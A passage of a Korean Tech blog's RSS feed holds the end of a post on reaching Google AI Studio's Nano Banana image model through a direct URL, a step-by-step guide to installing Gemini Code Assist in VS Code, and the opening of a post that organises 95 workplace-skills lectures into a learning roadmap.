&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;1924&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bzk5bQ/dJMcajgI8T5/Y9mJmvQPrW4sMCBck68JIK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bzk5bQ/dJMcajgI8T5/Y9mJmvQPrW4sMCBck68JIK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bzk5bQ/dJMcajgI8T5/Y9mJmvQPrW4sMCBck68JIK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbzk5bQ%2FdJMcajgI8T5%2FY9mJmvQPrW4sMCBck68JIK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3444&quot; height=&quot;1924&quot; data-origin-width=&quot;3444&quot; data-origin-height=&quot;1924&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h2 id=&quot;6&quot; data-ke-size=&quot;size26&quot;&gt;6. 이런 분들에게 특히 추천&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 주소와 방법은 다음과 같은 분들께 특히 도움이 됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;나노바나나/제미나이 강의를 듣다가, 강사와 똑같이 따라 했는데 Pro 결제 화면에서 막힌 수강생&lt;/li&gt;
&lt;li&gt;&amp;ldquo;무료로 쓸 수 있다&amp;rdquo;는 말만 듣고 들어갔다가, 카드 등록 화면에 당황한 초보자&lt;/li&gt;
&lt;li&gt;모델 변경 메뉴 위치가 계속 바뀌어, 할 때마다 헤매는 분들&lt;span data-state=&quot;closed&quot;&gt;&lt;span&gt;&lt;a href=&quot;https://happyfactorygraphic.com/entry/%EA%B5%AC%EA%B8%80-AI-%EC%8A%A4%ED%8A%9C%EB%94%94%EC%98%A4Google-AI-Studio%EB%A5%BC-%ED%99%9C%EC%9A%A9%ED%95%9C-%EB%82%98%EB%85%B8-%EB%B0%94%EB%82%98%EB%82%98-%EC%8B%A4%EC%8A%B5&quot;&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;happyfactorygraphic&lt;/span&gt;&lt;span&gt;&lt;span&gt;+2&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로는 AI 스튜디오가 여러분을 Pro 결제 화면으로 데려가더라도,&lt;br /&gt;&lt;b&gt;&amp;ldquo;아, 그냥 &lt;a href=&quot;https://aistudio.google.com/prompts/new_chat?model=nano-banana&quot;&gt;https://aistudio.google.com/prompts/new_chat?model=nano-banana&lt;/a&gt;로 다시 들어가면 되지&amp;rdquo;&lt;/b&gt;&lt;br /&gt;라고 생각하시면 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#구글AI스튜디오 #GoogleAIStudio #나노바나나 #NanoBanana #나노바나나프로 #Gemini이미지생성 #GeminiAI #AI이미지생성 #AI스튜디오사용법 #AI모델변경 #나노바나나무료 #구글제미나이 #생성형AI #AI튜토리얼 #AI입문 #프롬프트엔지니어링 #AI이미지편집 #AI강의복습 #개발자도구아닌일반사용자용&lt;/p&gt;
&lt;/div&gt;</description>
      <category>FastCampus</category>
      <category>AI스튜디오사용법</category>
      <category>Gemini이미지생성</category>
      <category>nanobanana</category>
      <category>NanoBananaURL</category>
      <category>구글ai스튜디오</category>
      <category>나노바나나무료</category>
      <category>나노바나나무료URL</category>
      <category>나노바나나주소</category>
      <category>무료나노바나나</category>
      <category>무료나노바나나주소</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/199</guid>
      <comments>https://thepin.tistory.com/199#entry199comment</comments>
      <pubDate>Sat, 31 Jan 2026 14:07:06 +0900</pubDate>
    </item>
    <item>
      <title>VS Code에 구글 두뇌 이식하기: 5분 만에 끝내는 Gemini 연동 가이드</title>
      <link>https://thepin.tistory.com/198</link>
      <description>&lt;h1&gt;&lt;b&gt;VS Code에 구글 두뇌 이식하기: 5분 만에 끝내는 Gemini 연동 가이드&lt;/b&gt;&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요! 오늘은 개발자들의 필수 에디터인 &lt;b&gt;Visual Studio Code(VS Code)&lt;/b&gt;에 구글의 강력한 AI, &lt;b&gt;Gemini(제미나이)&lt;/b&gt;를 연결하는 방법을 소개해 드리려고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GitHub Copilot이 유료라 망설이셨거나, 구글의 최신 AI 모델을 코딩에 활용해보고 싶으신 분들은 이 글을 보고 따라 해 보세요. 설치부터 설정까지 5분이면 충분합니다!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 왜 Gemini Code Assist인가요?&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;강력한 문맥 이해:&lt;/b&gt; 내 프로젝트의 코드를 이해하고 최적화된 코드를 제안해 줍니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;채팅 기능:&lt;/b&gt; &quot;이 함수가 무슨 역할을 해?&quot;라고 물어보면 친절하게 설명해 줍니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;개인 개발자 무료&lt;/b&gt;: GitHub Copilot은 유료지만, Gemini Code Assist는 개인 개발자에게 &lt;b&gt;무료 티어(No-cost tier)&lt;/b&gt;를 제공하여 비용 부담 없이 시작할 수 있습니다..&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 설치 방법 (Step-by-Step)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;단계 1: 확장 프로그램 설치하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VS Code를 실행하고 좌측 메뉴의 &lt;b&gt;확장(Extensions)&lt;/b&gt; 아이콘을 클릭합니다. 검색창에 &lt;code&gt;Gemini Code Assist&lt;/code&gt;를 입력하고 설치(Install) 버튼을 누릅니다. &quot; 게시자 신뢰 및 설치&quot;를 선택해주세요&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cUasCB/dJMcadOhpvf/whR3l9BnwGMKtqe9DkgAk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cUasCB/dJMcadOhpvf/whR3l9BnwGMKtqe9DkgAk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cUasCB/dJMcadOhpvf/whR3l9BnwGMKtqe9DkgAk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcUasCB%2FdJMcadOhpvf%2FwhR3l9BnwGMKtqe9DkgAk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;327&quot; data-origin-width=&quot;914&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;[이미지: VS Code 마켓플레이스에서 'Gemini Code Assist' 검색 및 설치 화면]&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;단계 2: 구글 계정 로그인&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 완료되면 좌측 사이드바에 &lt;b&gt;Gemini 아이콘&lt;/b&gt;이 생깁니다. 아이콘을 클릭하면 로그인 버튼이 나옵니다.&lt;br /&gt;&lt;code&gt;Sign in to Google Cloud&lt;/code&gt;를 클릭하여 구글 계정으로 로그인해 주세요.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;634&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lryO2/dJMcaaYohHG/vvdmkdPaNsWy2Q8us1kzuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lryO2/dJMcaaYohHG/vvdmkdPaNsWy2Q8us1kzuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lryO2/dJMcaaYohHG/vvdmkdPaNsWy2Q8us1kzuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlryO2%2FdJMcaaYohHG%2FvvdmkdPaNsWy2Q8us1kzuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;708&quot; height=&quot;518&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;866&quot; data-origin-height=&quot;634&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[이미지: VS Code 좌측 하단 또는 사이드바의 로그인 버튼 클릭 화면]&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;712&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCsXoJ/dJMcadAKUN2/xSUWbJHfgxu5AvW9jxxEeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCsXoJ/dJMcadAKUN2/xSUWbJHfgxu5AvW9jxxEeK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCsXoJ/dJMcadAKUN2/xSUWbJHfgxu5AvW9jxxEeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCsXoJ%2FdJMcadAKUN2%2FxSUWbJHfgxu5AvW9jxxEeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;516&quot; height=&quot;712&quot; data-origin-width=&quot;516&quot; data-origin-height=&quot;712&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;인증하면 다음과 같이 연결됩니다.&lt;/b&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;958&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ThVBe/dJMcafyC0bE/k6rJNkNkeqfEvSTWqWq480/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ThVBe/dJMcafyC0bE/k6rJNkNkeqfEvSTWqWq480/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ThVBe/dJMcafyC0bE/k6rJNkNkeqfEvSTWqWq480/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FThVBe%2FdJMcafyC0bE%2Fk6rJNkNkeqfEvSTWqWq480%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;654&quot; height=&quot;334&quot; data-origin-width=&quot;1878&quot; data-origin-height=&quot;958&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;s&gt;단계 3: Google Cloud 프로젝트 연결 (중요!)&lt;/s&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;Gemini를 사용하려면 Google Cloud 프로젝트가 필요합니다.&lt;/s&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;s&gt;로그인 후 나타나는 프로젝트 선택 창에서 기존 프로젝트를 선택하거나,&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;code&gt;New Project&lt;/code&gt;를 눌러 새 프로젝트를 생성합니다.&lt;/s&gt;&lt;/li&gt;
&lt;li&gt;&lt;s&gt;&lt;b&gt;Gemini for Google Cloud API&lt;/b&gt;가 활성화되어 있어야 합니다. (자동으로 안내 창이 뜨면 &lt;code&gt;Enable&lt;/code&gt;을 눌러주세요.&lt;/s&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;&lt;b&gt;&lt;br /&gt;[이미지: 프로젝트 선택 또는 API 활성화 화면]&lt;/b&gt;&lt;/s&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 실전 사용법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정이 끝났다면 바로 사용해 볼까요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 코드 자동 완성&lt;/b&gt;&lt;br /&gt;코드를 작성하다 잠시 멈추면, 회색 텍스트로 코드를 추천해 줍니다. 마음에 들면 &lt;code&gt;Tab&lt;/code&gt; 키를 눌러 완성하세요.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;1368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xo1kk/dJMcabXisu3/LxoMikm2KEx7mMUaxUGC4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xo1kk/dJMcabXisu3/LxoMikm2KEx7mMUaxUGC4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xo1kk/dJMcabXisu3/LxoMikm2KEx7mMUaxUGC4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxo1kk%2FdJMcabXisu3%2FLxoMikm2KEx7mMUaxUGC4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;442&quot; height=&quot;767&quot; data-origin-width=&quot;788&quot; data-origin-height=&quot;1368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2. AI와 채팅하기 (Chat)&lt;/b&gt;&lt;br /&gt;사이드바의 Gemini 아이콘을 누르고 채팅창에 질문을 던져보세요.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;이 코드를 파이썬으로 바꿔줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;여기서 버그가 날 만한 곳이 있어?&quot;&lt;/li&gt;
&lt;li&gt;&quot;이 함수에 대한 주석을 달아줘&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2198&quot; data-origin-height=&quot;1210&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk08vD/dJMcaihORUb/SnrD7fCB11Zt709et8oig1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk08vD/dJMcaihORUb/SnrD7fCB11Zt709et8oig1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk08vD/dJMcaihORUb/SnrD7fCB11Zt709et8oig1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk08vD%2FdJMcaihORUb%2FSnrD7fCB11Zt709et8oig1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;361&quot; data-origin-width=&quot;2198&quot; data-origin-height=&quot;1210&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;[이미지: Gemini와 채팅하며 코드를 물어보는 화면]&lt;/b&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. 마무리하며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 여러분의 VS Code에는 든든한 AI 사수가 생겼습니다. 단순 반복 작업은 Gemini에게 맡기고, 우리는 더 창의적이고 중요한 로직에 집중해 보자고요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 설치 과정에서 막히는 부분이 있다면 댓글로 남겨주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;#VSCode #Gemini #제미나이 #코딩AI #개발자툴 #생산성 #GoogleCloud&lt;/b&gt;이제 여러분의 VS Code에는 든든한 AI 사수가 생겼습니다. 단순 반복 작업은 Gemini에게 맡기고, 우리는 더 창의적이고 중요한 로직에 집중해 보자고요!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;혹시 설치 과정에서 막히는 부분이 있다면 댓글로 남겨주세요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;#VSCode #Gemini #제미나이 #코딩AI #개발자툴 #생산성 #GoogleCloud&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;  트러블슈팅 (FAQ)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Q. &quot;There was a problem getting a response&quot; 오류가 자주 발생해요.&lt;br /&gt;A.&amp;nbsp;무료&amp;nbsp;버전(Free&amp;nbsp;Tier)&amp;nbsp;사용&amp;nbsp;시,&amp;nbsp;사용량이&amp;nbsp;몰리는&amp;nbsp;시간대에는&amp;nbsp;API&amp;nbsp;호출&amp;nbsp;제한(Rate&amp;nbsp;Limit)이나&amp;nbsp;서버&amp;nbsp;부하로&amp;nbsp;인해&amp;nbsp;간헐적으로&amp;nbsp;오류가&amp;nbsp;발생할&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;이는&amp;nbsp;유료&amp;nbsp;버전과의&amp;nbsp;차이점&amp;nbsp;중&amp;nbsp;하나이며,&amp;nbsp;잠시&amp;nbsp;후&amp;nbsp;다시&amp;nbsp;시도하면&amp;nbsp;정상적으로&amp;nbsp;작동합니다.&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;222&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6KtXm/dJMcafZGuOo/D4vRqATdjTm1Wn7KZDfk0K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6KtXm/dJMcafZGuOo/D4vRqATdjTm1Wn7KZDfk0K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6KtXm/dJMcafZGuOo/D4vRqATdjTm1Wn7KZDfk0K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6KtXm%2FdJMcafZGuOo%2FD4vRqATdjTm1Wn7KZDfk0K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;682&quot; height=&quot;222&quot; data-origin-width=&quot;682&quot; data-origin-height=&quot;222&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;#VSCode #Gemini #GoogleCloud #코딩 #개발자 #AI #프로그래밍 #생산성 #GeminiCodeAssist #개발꿀팁&lt;/p&gt;</description>
      <category>VibeCoding</category>
      <category>AI</category>
      <category>Gemini</category>
      <category>GeminiCodeAssist</category>
      <category>googlecloud</category>
      <category>vscode</category>
      <category>개발꿀팁</category>
      <category>개발자</category>
      <category>생산성</category>
      <category>코딩</category>
      <category>프로그래밍</category>
      <author>댕기사랑</author>
      <guid isPermaLink="true">https://thepin.tistory.com/198</guid>
      <comments>https://thepin.tistory.com/198#entry198comment</comments>
      <pubDate>Sat, 24 Jan 2026 15:09:51 +0900</pubDate>
    </item>
    <item>
      <title>직장인 성장의 완성판: &amp;quot;[직:장인(匠人)]&amp;quot; 95개 강의 완벽 분석 및 학습 로드맵</title>
      <link>https://thepin.tistory.com/195</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/196&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://thepin.tistory.com/196&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1768661671995&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;  &amp;quot;[직:장인(匠人)]&amp;quot; 95개 강의 학습 로드맵&quot; data-og-description=&quot;블로그 공부 온라인강의&quot; data-og-host=&quot;thepin.tistory.com&quot; data-og-source-url=&quot;https://thepin.tistory.com/196&quot; data-og-url=&quot;https://thepin.tistory.com/196&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://thepin.tistory.com/196&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://thepin.tistory.com/196&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;  &quot;[직:장인(匠人)]&quot; 95개 강의 학습 로드맵&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;블로그 공부 온라인강의&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;thepin.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;직장인 성장의 완성판: &quot;[직:장인(匠人)]&quot; 95개 강의 완벽 분석 및 학습 로드맵&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;들어가며: 왜 지금, 이 강의들인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;직장 생활 10년 차, 저는 수백 개의 온라인 강의를 들었습니다. 업무 시간 외에 퇴근 후와 주말을 활용해 쌓은 학습 시간만 300시간이 넘습니다. 그 과정에서 깨달은 한 가지 진실이 있습니다. &lt;b&gt;&quot;좋은 강의는 많지만, 체계적인 커리큘럼은 드물다&quot;&lt;/b&gt;는 것입니다.&lt;br /&gt;대부분의 직장인 교육 콘텐츠는 개별 주제에 집중합니다. 보고서 작성법, 엑셀 활용, 리더십 기초 같은 것들이죠. 물론 각각은 유용합니다. 하지만 문제는 &lt;b&gt;&quot;내가 지금 무엇을 배워야 하는가?&quot;&lt;/b&gt;라는 근본적인 질문에 답해주지 못한다는 점입니다.&lt;br /&gt;3년차 실무자에게 필요한 역량과 첫 팀장이 된 7년차에게 필요한 역량은 완전히 다릅니다. 신사업 개발자와 마케팅 전문가가 집중해야 할 영역도 다릅니다. 그런데 대부분의 학습 플랫폼은 이런 맥락을 고려하지 않은 채 강의를 나열만 합니다.&lt;br /&gt;그래서 저는 [직:장인(匠人)] 시리즈 95개 강의를 전부 분석했습니다. 각 강의의 핵심 내용을 파악하고, 직장인의 성장 단계에 맞춰 재배치했습니다. 그 결과가 바로 이 글에서 소개하는 &lt;b&gt;9단계 학습 로드맵&lt;/b&gt;입니다.&lt;br /&gt;이 로드맵은 단순한 강의 목록이 아닙니다. 입사 첫날부터 임원 후보까지, 직장인의 전체 여정을 관통하는 &lt;b&gt;성장 설계도&lt;/b&gt;입니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;[직:장인(匠人)]이란? 직장인을 위한 실전 MBA&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[직:장인(匠人)] 시리즈는 skillflo.io 플랫폼에서 제공하는 직장인 특화 교육 프로그램입니다. &quot;장인(匠人)&quot;이라는 이름에서 알 수 있듯, 이론이 아닌 &lt;b&gt;실무 장인&lt;/b&gt;을 키우는 데 초점을 맞춥니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;이 강의 시리즈의 3가지 차별점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. 실무 중심 설계&lt;/b&gt;&lt;br /&gt;MBA에서 배우는 이론을 직장 현장에 바로 적용할 수 있는 형태로 재가공했습니다. &quot;전략적 사고&quot;를 배우는 게 아니라, &quot;월요일 아침 회의에서 어떻게 질문해야 하는가&quot;를 배웁니다.&lt;br /&gt;&lt;b&gt;2. 구조화된 프레임워크&lt;/b&gt;&lt;br /&gt;각 강의는 개념-사례-실행의 3단 구조로 설계되어 있습니다. 추상적인 조언이 아닌, 체크리스트와 템플릿을 제공합니다.&lt;br /&gt;&lt;b&gt;3. 현장 검증된 방법론&lt;/b&gt;&lt;br /&gt;실제 스타트업과 대기업에서 검증된 방법론을 기반으로 합니다. 강사의 개인적 경험이 아니라, 재현 가능한 시스템을 전달합니다.&lt;/p&gt;
&lt;hr data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;95개 강의, 9단계 로드맵: 전체 구조 이해하기&lt;/h2&gt;
